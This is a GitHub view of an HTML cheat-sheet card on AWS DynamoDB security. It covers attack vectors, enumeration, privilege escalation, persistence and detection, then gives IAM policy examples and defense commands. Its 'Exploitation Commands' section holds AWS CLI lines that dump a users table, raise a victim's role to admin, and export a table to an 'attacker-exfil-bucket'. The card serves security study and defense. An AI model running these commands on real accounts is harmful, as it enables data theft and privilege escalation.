-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdynamodb.html
More file actions
556 lines (531 loc) · 27.6 KB
/
dynamodb.html
File metadata and controls
556 lines (531 loc) · 27.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS DynamoDB Security | AWS Security Cards</title>
<meta name="description" content="DynamoDB is a NoSQL database storing application data, session tokens, and configuration. Attackers exploit table policies, scan operations, and PartiQL queries to extract sensitive data.">
<style>
*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif;
background: #0a0e1a;
color: #e2e8f0;
line-height: 1.6;
padding: 2rem;
max-width: 1200px;
margin: 0 auto;
}
a { color: #22d3ee; text-decoration: none; }
a:hover { text-decoration: underline; }
/* Card Image */
.card-image {
border-radius: 1rem;
overflow: hidden;
margin-bottom: 2rem;
border: 1px solid rgba(255,255,255,0.1);
}
.card-image img {
width: 100%;
height: auto;
display: block;
}
/* Header */
.header {
position: relative;
overflow: hidden;
border-radius: 1rem;
background: linear-gradient(135deg, #f9731615, #0a0e1a, #ef444415);
border: 1px solid #f973164d;
padding: 2.5rem;
margin-bottom: 2rem;
}
.header::before {
content: '';
position: absolute;
top: 0; right: 0;
width: 24rem; height: 24rem;
background: #f973160d;
border-radius: 50%;
filter: blur(3rem);
}
.header-content { position: relative; display: flex; align-items: flex-start; gap: 1.5rem; }
.header-icon { width: 64px; height: 64px; flex-shrink: 0; }
.header-icon img { width: 100%; height: 100%; }
.header-title { font-size: 1.875rem; font-weight: 700; color: #fff; }
.header-badge {
display: inline-block;
padding: 0.25rem 0.75rem;
background: #f9731633;
color: #f97316;
font-size: 0.8rem;
font-weight: 600;
border-radius: 999px;
border: 1px solid #f973164d;
margin-left: 0.75rem;
vertical-align: middle;
}
.header-desc { color: #94a3b8; max-width: 42rem; margin-top: 0.5rem; }
/* Stats */
.stats-row { display: grid; grid-template-columns: repeat(4, 1fr); gap: 1rem; margin-bottom: 2rem; }
.stat-card {
background: rgba(255,255,255,0.03);
border-radius: 0.5rem;
border: 1px solid rgba(255,255,255,0.06);
padding: 1rem;
text-align: center;
}
.stat-value { font-size: 1.5rem; font-weight: 700; }
.stat-label { font-size: 0.8rem; color: #94a3b8; }
/* Sections */
.section {
background: rgba(255,255,255,0.03);
border-radius: 0.75rem;
border: 1px solid rgba(255,255,255,0.06);
padding: 1.5rem;
margin-bottom: 1.5rem;
}
.section h2 {
font-size: 1.25rem;
font-weight: 700;
color: #fff;
margin-bottom: 1rem;
display: flex;
align-items: center;
gap: 0.5rem;
}
/* Overview */
.overview-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; }
.overview-grid h4 { font-size: 0.9rem; font-weight: 600; margin-bottom: 0.5rem; }
.overview-grid p { font-size: 0.875rem; color: #94a3b8; margin-bottom: 0.75rem; }
.attack-note {
background: rgba(0,0,0,0.3);
border-radius: 0.5rem;
border: 1px solid rgba(255,255,255,0.06);
padding: 0.75rem;
font-size: 0.875rem;
color: #cbd5e1;
}
/* Risk Gauge */
.risk-gauge { display: flex; align-items: center; gap: 2rem; }
.risk-bar-container { flex: 1; }
.risk-bar {
height: 1rem;
background: #0f172a;
border-radius: 999px;
overflow: hidden;
}
.risk-bar-fill {
height: 100%;
border-radius: 999px;
background: linear-gradient(90deg, #eab308, #f97316, #ef4444);
}
.risk-labels { display: flex; justify-content: space-between; font-size: 0.8rem; color: #94a3b8; margin-top: 0.5rem; }
.risk-score { text-align: center; }
.risk-score-value { font-size: 2.5rem; font-weight: 700; color: #f87171; }
.risk-score-label { font-size: 0.8rem; color: #94a3b8; }
.risk-desc { margin-top: 1rem; font-size: 0.875rem; color: #94a3b8; }
/* Panels Grid */
.panels-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 1.5rem; margin-bottom: 1.5rem; }
@media (max-width: 1024px) { .panels-grid { grid-template-columns: repeat(2, 1fr); } }
@media (max-width: 640px) { .panels-grid, .stats-row, .overview-grid { grid-template-columns: 1fr; } }
.panel {
background: rgba(255,255,255,0.03);
border-radius: 0.75rem;
border: 1px solid;
padding: 1.5rem;
}
.panel h3 { font-size: 1.1rem; font-weight: 700; margin-bottom: 1rem; display: flex; align-items: center; gap: 0.5rem; }
.panel h4 { font-size: 0.85rem; font-weight: 600; margin-bottom: 0.5rem; margin-top: 1rem; }
.panel ul { list-style: none; padding: 0; }
.panel li {
font-size: 0.85rem;
color: #cbd5e1;
padding: 0.15rem 0;
display: flex;
align-items: flex-start;
gap: 0.5rem;
}
.bullet { margin-top: 0.15rem; }
.note {
margin-top: 1rem;
padding: 0.75rem;
border-radius: 0.5rem;
font-size: 0.85rem;
}
/* Commands */
.cmd-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1rem; }
.cmd-block { margin-top: 0.75rem; }
.cmd-title { font-size: 0.8rem; color: #94a3b8; margin-bottom: 0.25rem; }
pre {
background: rgba(0,0,0,0.5);
border-radius: 0.5rem;
padding: 0.75rem;
font-size: 0.8rem;
color: #4ade80;
overflow-x: auto;
border: 1px solid rgba(255,255,255,0.06);
white-space: pre-wrap;
word-break: break-all;
font-family: 'SF Mono', 'Fira Code', 'Cascadia Code', monospace;
}
/* Policies */
.policy-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; }
.policy-card {
border-radius: 0.5rem;
border: 1px solid;
padding: 1rem;
}
.policy-header { display: flex; align-items: center; gap: 0.5rem; margin-bottom: 0.75rem; font-size: 0.9rem; }
.policy-card pre { margin-bottom: 0.75rem; color: #cbd5e1; }
.policy-desc { font-size: 0.8rem; color: #94a3b8; }
/* Defenses */
.defense-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1rem; }
.defense-card {
background: rgba(255,255,255,0.03);
border-radius: 0.5rem;
border: 1px solid rgba(255,255,255,0.06);
padding: 1rem;
}
.defense-card:hover { border-color: #22d3ee4d; }
.defense-header { display: flex; align-items: flex-start; gap: 0.75rem; }
.defense-icon { font-size: 1.5rem; }
.defense-card h4 { font-size: 0.9rem; font-weight: 600; color: #fff; margin-bottom: 0.25rem; }
.defense-card p { font-size: 0.85rem; color: #94a3b8; margin-bottom: 0.5rem; }
.defense-card pre { color: #22d3ee; }
/* Footer */
.footer { text-align: center; padding: 1.5rem 0; font-size: 0.8rem; color: #64748b; }
.footer a { color: #22d3ee; }
/* Prevent ugly page-break splits */
.card-image,
.header,
.stat-card,
.stats-row,
.section,
.panel,
.cmd-block,
.policy-card,
.defense-card,
.attack-note,
.overview-grid > div,
.risk-gauge,
.note {
break-inside: avoid;
page-break-inside: avoid;
}
.section,
.panels-grid,
.card-image,
.header {
break-before: auto;
page-break-before: auto;
}
/* Keep headings with their content */
h2, h3, h4 {
break-after: avoid;
page-break-after: avoid;
}
@media print {
body { background: #0a0e1a; -webkit-print-color-adjust: exact; print-color-adjust: exact; }
/* Switch panels to 2-col for better page flow */
.panels-grid { grid-template-columns: repeat(2, 1fr); }
/* Switch commands and policies to single column to avoid splits */
.cmd-grid { grid-template-columns: 1fr; }
.policy-grid { grid-template-columns: 1fr; }
.defense-grid { grid-template-columns: 1fr; }
}
</style>
</head>
<body>
<!-- Card Image -->
<div class="card-image">
<img src="../images/dynamodb-card.webp" alt="AWS DynamoDB Security" />
</div>
<!-- Header -->
<div class="header">
<div class="header-content">
<div class="header-icon"><img src="../icons/dynamodb.svg" alt="AWS DynamoDB Security" /></div>
<div>
<div>
<span class="header-title">AWS DynamoDB Security</span>
<span class="header-badge">DATABASE</span>
</div>
<p class="header-desc">DynamoDB is a NoSQL database storing application data, session tokens, and configuration. Attackers exploit table policies, scan operations, and PartiQL queries to extract sensitive data.</p>
</div>
</div>
</div>
<!-- Stats -->
<div class="stats-row">
<div class="stat-card">
<div class="stat-value" style="color: #f87171;">HIGH</div>
<div class="stat-label">Data Exposure Risk</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #4ade80;">15+</div>
<div class="stat-label">Attack Techniques</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #60a5fa;">PartiQL</div>
<div class="stat-label">SQL-like Queries</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #c084fc;">TB+</div>
<div class="stat-label">Potential Data Theft</div>
</div></div>
<!-- Overview -->
<div class="section"><h2><span style="color:#f97316;">📋</span> Service Overview</h2><div class="overview-grid">
<div>
<h4 style="color: #f97316;">Data Model & Access</h4>
<p>DynamoDB is a key-value and document NoSQL database. Tables store items indexed by partition keys and optional sort keys. Global Secondary Indexes (GSIs) provide alternate query paths that may expose data through different access patterns.</p>
<div class="attack-note"><span style="color:#f97316;">Attack note:</span> GSIs replicate table data with different key schemas - querying a GSI may bypass item-level access controls</div>
</div>
<div>
<h4 style="color: #f97316;">PartiQL & Streams</h4>
<p>PartiQL provides SQL-compatible query access to DynamoDB. DynamoDB Streams capture item-level changes in near-real-time, feeding Lambda triggers and replication pipelines. Both are powerful attack surfaces for data exfiltration.</p>
<div class="attack-note"><span style="color:#f97316;">Attack note:</span> PartiQL SELECT * FROM table bypasses the need for Scan API calls and may evade scan-specific IAM denies</div>
</div></div></div>
<!-- Risk Assessment -->
<div class="section">
<h2>Security Risk Assessment</h2>
<div class="risk-gauge">
<div class="risk-bar-container">
<div class="risk-bar">
<div class="risk-bar-fill" style="width: 80%;"></div>
</div>
<div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
</div>
<div class="risk-score">
<div class="risk-score-value">8.0</div>
<div class="risk-score-label">Risk Score</div>
</div>
</div>
<p class="risk-desc">DynamoDB tables frequently contain sensitive application data. Attackers with read access can extract PII, session tokens, and credentials. Write access enables privilege escalation via modified user records.</p>
</div>
<!-- Main Panels -->
<div class="panels-grid">
<div class="panel" style="border-color: #f8717133;">
<h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Data Access</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Overly permissive IAM policies</li><li><span class="bullet" style="color: #f87171;">•</span> Resource-based table policies</li><li><span class="bullet" style="color: #f87171;">•</span> GSI/LSI alternate query paths</li><li><span class="bullet" style="color: #f87171;">•</span> Streams exposing change data</li><li><span class="bullet" style="color: #f87171;">•</span> PartiQL bypassing Scan denies</li></ul><h4 style="color: #f87171;">Data Manipulation</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Session token modification (PutItem)</li><li><span class="bullet" style="color: #f87171;">•</span> User role escalation via item updates</li><li><span class="bullet" style="color: #f87171;">•</span> Feature flag tampering</li><li><span class="bullet" style="color: #f87171;">•</span> Backup export to attacker-controlled S3</li><li><span class="bullet" style="color: #f87171;">•</span> Table deletion for disruption</li></ul></div>
<div class="panel" style="border-color: #fb923c33;">
<h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Policy Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> dynamodb:* permissions on tables</li><li><span class="bullet" style="color: #fb923c;">•</span> Missing fine-grained access control (leading keys)</li><li><span class="bullet" style="color: #fb923c;">•</span> No condition keys for item-level access</li><li><span class="bullet" style="color: #fb923c;">•</span> PartiQL execution without restrictions</li><li><span class="bullet" style="color: #fb923c;">•</span> Resource policy allowing cross-account access</li></ul><h4 style="color: #fb923c;">Infrastructure Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Missing encryption at rest (default AWS key)</li><li><span class="bullet" style="color: #fb923c;">•</span> Point-in-time recovery disabled</li><li><span class="bullet" style="color: #fb923c;">•</span> No VPC endpoint (traffic over public internet)</li><li><span class="bullet" style="color: #fb923c;">•</span> Streams readable by unintended consumers</li><li><span class="bullet" style="color: #fb923c;">•</span> Global tables replicating to insecure regions</li></ul></div>
<div class="panel" style="border-color: #22d3ee33;">
<h3 style="color: #22d3ee;">🔍 Enumeration</h3>
<div class="cmd-block">
<div class="cmd-title">List All Tables</div>
<pre><code>aws dynamodb list-tables</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Describe Table</div>
<pre><code>aws dynamodb describe-table --table-name users</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Global Tables</div>
<pre><code>aws dynamodb list-global-tables</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Backups</div>
<pre><code>aws dynamodb list-backups</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Streams</div>
<pre><code>aws dynamodbstreams list-streams</code></pre>
</div></div>
<div class="panel" style="border-color: #c084fc33;">
<h3 style="color: #c084fc;">📈 Privilege Escalation</h3><h4 style="color: #c084fc;">Direct Escalation</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Modify user role field to admin</li><li><span class="bullet" style="color: #c084fc;">•</span> Update session tokens for privilege</li><li><span class="bullet" style="color: #c084fc;">•</span> Alter feature flags for access</li><li><span class="bullet" style="color: #c084fc;">•</span> Change API key permissions in table</li><li><span class="bullet" style="color: #c084fc;">•</span> Insert admin user record</li></ul><h4 style="color: #c084fc;">GSI Bypass Attacks</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Query GSI to enumerate all users by email</li><li><span class="bullet" style="color: #c084fc;">•</span> GSI on role field reveals all admin accounts</li><li><span class="bullet" style="color: #c084fc;">•</span> GSI access may bypass partition key restrictions</li><li><span class="bullet" style="color: #c084fc;">•</span> Sparse GSI reveals items with specific attributes</li><li><span class="bullet" style="color: #c084fc;">•</span> LSI provides alternate sort key enumeration</li></ul><div class="note"><strong>Key insight:</strong> If IAM restricts access by leading key on the base table, the same data may be queryable through a GSI with different key schema.</div></div>
<div class="panel" style="border-color: #facc1533;">
<h3 style="color: #facc15;">🔗 Persistence</h3><h4 style="color: #facc15;">Data Persistence</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Insert backdoor user into auth table</li><li><span class="bullet" style="color: #facc15;">•</span> Add persistent API key record</li><li><span class="bullet" style="color: #facc15;">•</span> Create scheduled export to attacker S3</li><li><span class="bullet" style="color: #facc15;">•</span> Enable streams and attach rogue Lambda</li><li><span class="bullet" style="color: #facc15;">•</span> Add trigger for data replication</li></ul><h4 style="color: #facc15;">Stream-Based Persistence</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Attach Lambda trigger to stream</li><li><span class="bullet" style="color: #facc15;">•</span> Lambda exfiltrates every new/modified item</li><li><span class="bullet" style="color: #facc15;">•</span> Cross-region replication to attacker table</li><li><span class="bullet" style="color: #facc15;">•</span> Kinesis Data Firehose to attacker S3</li><li><span class="bullet" style="color: #facc15;">•</span> Survives credential rotation if Lambda persists</li></ul></div>
<div class="panel" style="border-color: #4ade8033;">
<h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> Scan - bulk data read</li><li><span class="bullet" style="color: #4ade80;">•</span> ExportTableToPointInTime</li><li><span class="bullet" style="color: #4ade80;">•</span> DeleteTable / DeleteBackup</li><li><span class="bullet" style="color: #4ade80;">•</span> UpdateTable (security changes)</li><li><span class="bullet" style="color: #4ade80;">•</span> CreateTableReplica</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> Scan operations from unusual IAM principals</li><li><span class="bullet" style="color: #4ade80;">•</span> PartiQL ExecuteStatement with SELECT *</li><li><span class="bullet" style="color: #4ade80;">•</span> New stream consumers or Lambda triggers</li><li><span class="bullet" style="color: #4ade80;">•</span> Export operations to unknown S3 buckets</li><li><span class="bullet" style="color: #4ade80;">•</span> High read capacity consumption spikes</li></ul></div></div>
<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">💻</span> Exploitation Commands</h2><div class="cmd-grid">
<div class="cmd-block">
<div class="cmd-title">Full Table Scan (Data Theft)</div>
<pre><code>aws dynamodb scan --table-name users --output json > exfil.json</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">PartiQL - Extract Admin Users</div>
<pre><code>aws dynamodb execute-statement \\
--statement "SELECT * FROM users WHERE role='admin'"</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Query GSI for Alternate Access</div>
<pre><code>aws dynamodb query --table-name users \\
--index-name email-index \\
--key-condition-expression 'email = :e' \\
--expression-attribute-values '{":e":{"S":"admin@corp.com"}}'</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Modify User Role (Privesc)</div>
<pre><code>aws dynamodb update-item --table-name users \\
--key '{"user_id":{"S":"victim"}}' \\
--update-expression 'SET #r = :admin' \\
--expression-attribute-names '{"#r":"role"}' \\
--expression-attribute-values '{":admin":{"S":"admin"}}'</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Export Table to Attacker S3</div>
<pre><code>aws dynamodb export-table-to-point-in-time \\
--table-arn arn:aws:dynamodb:us-east-1:123456789012:table/users \\
--s3-bucket attacker-exfil-bucket</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Read Stream Records</div>
<pre><code>SHARD=$(aws dynamodbstreams describe-stream \\
--stream-arn <stream-arn> \\
--query 'StreamDescription.Shards[0].ShardId' --output text)
ITER=$(aws dynamodbstreams get-shard-iterator \\
--stream-arn <stream-arn> --shard-id $SHARD \\
--shard-iterator-type TRIM_HORIZON --query 'ShardIterator' --output text)
aws dynamodbstreams get-records --shard-iterator $ITER</code></pre>
</div></div></div>
<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">📜</span> Policy Examples</h2><div class="policy-grid">
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Full Access</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": "dynamodb:*",
"Resource": "*"
}</code></pre>
<p class="policy-desc">Full DynamoDB access enables complete data exfiltration, table deletion, and stream hijacking</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Least Privilege with Leading Keys</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": ["dynamodb:GetItem", "dynamodb:Query"],
"Resource": "arn:aws:dynamodb:*:*:table/app-data",
"Condition": {
"ForAllValues:StringEquals": {
"dynamodb:LeadingKeys": ["\${aws:userId}"]
}
}
}</code></pre>
<p class="policy-desc">Limited to specific table with partition key scoped to the caller's identity</p>
</div>
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - PartiQL Without Restrictions</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": [
"dynamodb:PartiQLSelect",
"dynamodb:PartiQLUpdate",
"dynamodb:PartiQLInsert"
],
"Resource": "*"
}</code></pre>
<p class="policy-desc">PartiQL access to all tables - SELECT * FROM any_table bypasses scan restrictions</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Deny Scan and Export</span>
</div>
<pre><code>{
"Effect": "Deny",
"Action": [
"dynamodb:Scan",
"dynamodb:ExportTableToPointInTime",
"dynamodb:PartiQLSelect"
],
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalTag/team": "data-engineering"
}
}
}</code></pre>
<p class="policy-desc">Explicit deny on bulk read operations except for authorized data team</p>
</div></div></div>
<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">🛡️</span> Defense Recommendations</h2><div class="defense-grid">
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📋</span>
<div>
<h4>Enable CloudTrail Data Events</h4>
<p>Log all DynamoDB data plane operations (Scan, Query, GetItem) to detect unauthorized access.</p>
<pre><code>aws cloudtrail put-event-selectors \\
--trail-name main-trail \\
--advanced-event-selectors '[{"FieldSelectors":[
{"Field":"eventCategory","Equals":["Data"]},
{"Field":"resources.type","Equals":["AWS::DynamoDB::Table"]}
]}]'</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔐</span>
<div>
<h4>Encrypt with KMS CMK</h4>
<p>Use customer-managed KMS keys to control who can decrypt table data at rest.</p>
<pre><code>aws dynamodb create-table --table-name secure-data \\
--sse-specification Enabled=true,SSEType=KMS,KMSMasterKeyId=alias/dynamo-key</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🌐</span>
<div>
<h4>VPC Endpoints</h4>
<p>Keep DynamoDB traffic private via gateway endpoint - prevents data exfil over public internet.</p>
<pre><code>aws ec2 create-vpc-endpoint \\
--vpc-id vpc-xxx --service-name com.amazonaws.us-east-1.dynamodb \\
--route-table-ids rtb-xxx</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔒</span>
<div>
<h4>Fine-Grained Access Control</h4>
<p>Use IAM condition keys to restrict access to specific partition keys per user.</p>
<pre><code>"Condition": {"ForAllValues:StringEquals": {
"dynamodb:LeadingKeys": ["\${aws:userId}"]
}}</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🚫</span>
<div>
<h4>Deny Scan and PartiQL Select</h4>
<p>Explicitly deny Scan and PartiQL SELECT to prevent bulk data exfiltration.</p>
<pre><code>"Effect": "Deny",
"Action": ["dynamodb:Scan", "dynamodb:PartiQLSelect"],
"Resource": "arn:aws:dynamodb:*:*:table/sensitive-*"</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">💾</span>
<div>
<h4>Enable PITR and Deletion Protection</h4>
<p>Point-in-time recovery protects against data loss. Deletion protection prevents table drops.</p>
<pre><code>aws dynamodb update-table --table-name users \\
--deletion-protection-enabled
aws dynamodb update-continuous-backups --table-name users \\
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true</code></pre>
</div>
</div>
</div></div></div>
<!-- Footer -->
<div class="footer">
<p>AWS DynamoDB Security Card</p>
<p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>
</body>
</html>